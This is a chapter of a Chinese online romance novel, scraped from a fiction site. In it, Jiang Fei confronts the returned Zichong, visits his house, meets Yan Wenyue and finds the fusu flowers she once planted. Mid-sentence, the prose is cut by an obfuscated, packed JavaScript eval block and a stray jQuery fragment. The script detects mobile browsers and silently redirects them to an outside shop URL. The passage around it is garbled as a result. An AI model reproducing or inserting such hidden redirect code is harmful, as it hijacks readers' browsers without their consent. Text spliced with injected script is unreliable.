文趣网 > 其他小说 > 青山如黛 > 31. 扶苏
    姜非低头看他的手,心中难受,怎么?碰都不让碰吗?她紧咬嘴唇,感到一阵痛意,想到五年的煎熬,胸中怒火蔓延。

    “怎么不合适?哪里不合适?从前你为何不说不合适?你走也未告诉我,一回来你就跟我说不合适?”她盯着他的眼睛,愤愤地说着,越想越委屈,眼泪止不住往外淌。

    子充看着她满脸泪,手微抬起又放下,握紧了拳头,轻叹了口气,转头看向一边。

    她见他如此,狠心地猛推了他一把,转身愤怒地跑下了山。

    子充有些茫然无措。他五年前离开时就曾想过,今后不论怎样,她定会恨他!

    这五年,他无时无刻不在想她,他在内疚与怕她恨自己的思绪里往复循环。

    昨日在郑远,他见到她与那位公子身着同样的衣裳,举止亲密,心如刀绞。那是他第一次见她女子打扮,甚美。

    他忽又感到一瞬的轻松——至少,她如今过得幸福。毕竟,曾经是他不告而别,再回来,也不敢有任何期望。

    更何况,她已嫁做人妇,有了孩子,自然什么都不合适了。

    姜非跑过陈桑,没有停,径直往山下跑。陈桑瞥见了她脸上的泪,倏地站起身,看着她的背影,满脸疑虑。

    良安在后面大喊,“非儿!”

    “别跟来!”她大声说着,一人哭着往山下跑。

    子充从山顶下来。

    “母妃,就是他,刚才,姨母抱着他不肯放手。”

    冬儿指着子充对陈桑说,嗓门清亮,语调缓慢,每个字都说得清清楚楚。

    子充看看孩子和陈桑,不禁惊愕,孩子不是她的?那这位公子……

    陈桑面色一惊,缓缓向他走近几步,“若没猜错,这位应是子充公子吧?”

    良安听到这名字,不禁一愣。

    “正是。不知夫人如何称呼?”子充向她行礼。

    “非儿妹妹和我说起过你。”陈桑看着他道,“世子郑贤,是我夫君。公子也应认识他吧?”

    “认得。原来是世子妃。”子充又行礼,再看那女孩,确有几分像郑贤。

    “公子果然相貌出众。难怪这么多年,都没人能再入妹妹的眼。”陈桑看看子充,长叹一声,“她终于还是把你等到了。可为何刚见面就争吵?你让她伤心了。”

    子充又明白了一些,那昨日店铺里见到的……又是怎么回事?

    陈桑叹了口气,仍旧慢慢语道:“莫再让她伤心。这些年,她等得很辛苦。”

    子充看着往下的山路,沉默不语。怎么又让她伤心了?他何尝不明白等待的滋味。而她,应更难过吧?不辞而别的是他。

    一旁的良安听着陈桑说话,低头不语,他也终于明白了。待她说完,他走上前同子充行礼,“在下良安,见过子充公子。”

    子充疑惑地看他,缓缓向他行礼。

    他叫她“非儿”。

    “你们……不是……一起的?”

    “我们?我和非儿?我倒是想。”良安自嘲地苦笑,深深叹了口气看向别处。

    姜非一路伤心一路哭,回到家中把自己关在屋中继续哭。

    姜玥推门进去,“你怎么了?”她已很久没见姜非如此伤心。

    姜非泪眼婆娑,看着姜玥,“我刚刚见到子充了,可他已经不喜欢我了。”

    姜玥对这个名字几乎陌生了,一时没反应过来。

    “你看错了吧?”她小心地问。

    “没有!就是他,我与他说话了。”

    “他说……他不喜欢你了?”

    “不是,他不理睬我。”姜非哭着大声说。

    “没说别的?”

    “没有。”

    “他一句话没说?”

    “他说不太合适。”

    “什么不太合适?”

    “就是说我们不太合适。”姜非越说越大声,“不合适就不合适!”她忽而气愤道。

    “对!不合适就算了。”姜玥附和道。

    “怎么不合适?他会不会已经成亲了?”姜非猛然一惊,瞪着眼睛看姜玥。

    “所以就是不合适啊。”

    “他为何一人去山上?他不喜欢我了还去山上?”姜非停住哭。

    “春日登山不是很常见吗?”

    “不对!”她抽出腰间帕子,把脸上眼泪擦干净,让小桃打水洗了把脸,就要出门。

    “你去哪里?”

    “我去找他,我要问清楚!”姜非去马厩牵出黑马。

    “你去哪里找他?”姜玥大声问着,姜非已骑着马飞奔出去。

    “哎。”姜玥轻叹一声,该为她高兴才是。

    姜非一路向西去往子充的宅院,心里思量着该和他说什么。要问为何早上那么对她,要弄清楚他是否喜欢她,要问他是否打算继续同她在一起……他若说不,如何应对?那便转身就走!没什么大不了!他若不喜欢我,还有何好说的?那他也不是什么好人!立刻离开!莫要浪费时间和眼泪在这等人身上。

    若他不住那,去何处寻他?郑远兵器!昨日那人影就是他,他总会再去的。就去那等他。

    她在子充的院门前下了马,果然门上已没了锁。

    她在心里想好说辞,忽又觉得是否有些冲动?若他又冷着脸拒绝她……转念一想,她苦等的日日夜夜,难道都是自取其辱?他必须立刻给她一个交代。

    她把黑马拴门口一旁的树干,迟疑片刻,毅然上前拍响了大门。

    门开了,厮役告诉她子充不在。

    正迟疑间,里面忽然传来一女子的声音,“是谁啊?”声音明亮又不失温柔。

    这是年轻女子的声音!听起来,容貌也应柔美,姜非心里凉了半截。哼!他果然喜欢温柔的!

    女子从屋里走了出来,二十五岁上下的年纪,长相秀气,穿着宽边深衣,是夫人打扮。

    姜非愣在那,他果然成亲了。

    “这位姑娘要见公子。”厮役答话。

    “公子暂时不在府内,尚不知何时能回。敢问姑娘姓氏,待公子归来,我转告他便是。”

    公子!她称他公子,他们不是夫妻!姜非想着,心里亮堂了一些。

    “在下姜非。”姜非行礼。

    “原来是姜非姑娘,里面请。”

    姜非疑惑,她为何知道她。

    “在下颜文月。”女子笑着对姜非说。

    “见过颜姑娘。”姜非说着,踏进了院内。

    她终于又回到这个院子,五年前冬至那个雪天,猛拍着门叫他名字的一幕,她仍记忆犹新。

    院内打扫得很干净,她站在院中,记得第一次来,她就在这院中摔了一跤……眼泪不知不觉流了一脸。

    她低头走进厅堂,淡淡

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541146|202655||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的兰草香弥散在屋内,屋中的摆设同之前一模一样,就好像昨天刚来过似的。她觉得像在梦中,周身起了鸡皮疙瘩。

    “姜姑娘坐下喝杯水。”颜文月热情地招呼她。

    “那姐姐是……?”

    “姜姑娘记得华起吗?”颜文月是个聪明人,知她想问什么。

    “华将军,记得。”姜非忽又想起往事,眼里又泛起伤感的泪花。

    “他是我夫君。”

    “啊!华将军也来了?”

    “没有,他在宋国。”

    “宋国?你们从宋国来?”

    颜文月点头。

    “华将军他好吗?”

    “很好。他时常同我提起姜姑娘。”

    “是吗?”姜非微微笑道。

    “听说姜姑娘之前,常来公子这里。”

    “是啊。”姜非听着,心里又伤感起来,她不想再哭,低下头,尽量不去回忆过往。

    “你们来多久了?”

    “嗯,前日到的。”

    “就你与公子二人吗?”

    “对。”

    “你们从前,一直在宋国?”

    “对,就在商丘。”

    “时间过得真快。”姜非沉默片刻,无端地回了一句。

    “你们为何事来新郑?还离开吗?”

    “这些我不清楚。我听公子安排。”

    姜非欲言又止,看上去她并没有要隐瞒什么,她也不好问他关于子充是否结亲的事。

    “姜姑娘要等公子回来吗?”颜文月善解人意。

    “嗯。”姜非想了想,点点头。

    “那我去吩咐他们多准备些晚膳。”颜文月说着要出去。

    “要等到那么晚吗?”姜非忙问。还未同子充说清楚,或许一会俩人会吵起来,总不能还在这吃晚饭吧。

    “说不好。”

    “那不麻烦了,颜姐姐。我再坐会,他不回,我就走了。”姜非拦下她。

    “一会我还有事。”她又解释,她能有何事?哎。

    姜非在屋内坐了会,便走出屋去,见一侧花圃里开着一大丛白花。从前这院子中并无点缀,难道是之前她撒的那把种子,长出了花?

    她琢磨着走近去细看,似乎新近打理过。

    白色的小花开得水嫩娇艳,一丛丛白得发光。

    “这是什么花?”她向屋内的颜文月大声问道。

    “这应是扶苏。”颜文月走出屋来。

    “扶苏。”她小声念着,“真好看。”

    那是子充父王薨逝那日,她撒下的种子,五年没人照看,竟也长得这么好。

    “前日一到,刚打开这院门,公子便走过来看这丛花,吩咐人将周边的杂草除去,修整了一番。”颜文月说完走开了。

    姜非看着这花,眼泪又无声地流了出来,顺着脸颊滚落到下巴,往下滴。

    真是物是人非!

    姜非站了会,低下头,抬手偷偷抹掉脸上的泪。不论现在如何,曾经,他们在一起真的开心过。

    她清了下嗓子,对着屋内大声道:“颜姐姐,我先走了。”

    她低着头回转身去,不知身后站着一人,险些撞上。她正低着头,映入眼帘的是一身黑袍。

    她咬着嘴唇,不想抬头,怕他看见她哭过的脸,更怕抬头看到他冷漠的眼,那太让人心碎。